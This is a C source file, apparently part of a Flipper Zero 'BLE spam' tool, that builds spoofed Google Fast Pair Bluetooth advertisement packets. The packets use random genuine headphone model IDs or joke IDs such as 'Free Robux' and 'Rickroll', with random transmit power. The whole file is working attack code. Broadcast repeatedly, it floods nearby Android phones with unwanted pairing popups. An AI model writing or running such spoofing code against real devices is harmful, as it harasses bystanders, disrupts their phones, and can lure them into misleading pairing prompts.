fastpair.c 2.3 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
  1. #include "fastpair.h"
  2. #include "_registry.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
  5. const char* fastpair_get_name(const BleSpamProtocolCfg* _cfg) {
  6. const FastpairCfg* cfg = &_cfg->fastpair;
  7. UNUSED(cfg);
  8. return "FastPair";
  9. }
  10. void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) {
  11. const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
  12. uint32_t model_id;
  13. if(cfg && cfg->model_id != 0x000000) {
  14. model_id = cfg->model_id;
  15. } else {
  16. const uint32_t models[] = {
  17. // Genuine devices
  18. 0xCD8256, // Bose NC 700
  19. 0xF52494, // JBL Buds Pro
  20. 0x718FA4, // JBL Live 300TWS
  21. 0x821F66, // JBL Flip 6
  22. 0x92BBBD, // Pixel Buds
  23. 0xD446A7, // Sony XM5
  24. // Custom debug popups
  25. 0xD99CA1, // Flipper Zero
  26. 0x77FF67, // Free Robux
  27. 0xAA187F, // Free VBucks
  28. 0xDCE9EA, // Rickroll
  29. 0x87B25F, // Animated Rickroll
  30. 0xF38C02, // Boykisser
  31. 0x1448C9, // BLM
  32. 0xD5AB33, // Xtreme
  33. 0x13B39D, // Talking Sasquach
  34. 0xAA1FE1, // ClownMaster
  35. };
  36. model_id = models[rand() % COUNT_OF(models)];
  37. }
  38. uint8_t size = 14;
  39. uint8_t* packet = malloc(size);
  40. uint8_t i = 0;
  41. packet[i++] = 3; // Size
  42. packet[i++] = 0x03; // AD Type (Service UUID List)
  43. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  44. packet[i++] = 0xFE; // ...
  45. packet[i++] = 6; // Size
  46. packet[i++] = 0x16; // AD Type (Service Data)
  47. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  48. packet[i++] = 0xFE; // ...
  49. packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
  50. packet[i++] = (model_id >> 0x08) & 0xFF; // ...
  51. packet[i++] = (model_id >> 0x00) & 0xFF; // ...
  52. packet[i++] = 2; // Size
  53. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  54. packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
  55. *_size = size;
  56. *_packet = packet;
  57. }
  58. const BleSpamProtocol ble_spam_protocol_fastpair = {
  59. .icon = &I_android,
  60. .get_name = fastpair_get_name,
  61. .make_packet = fastpair_make_packet,
  62. };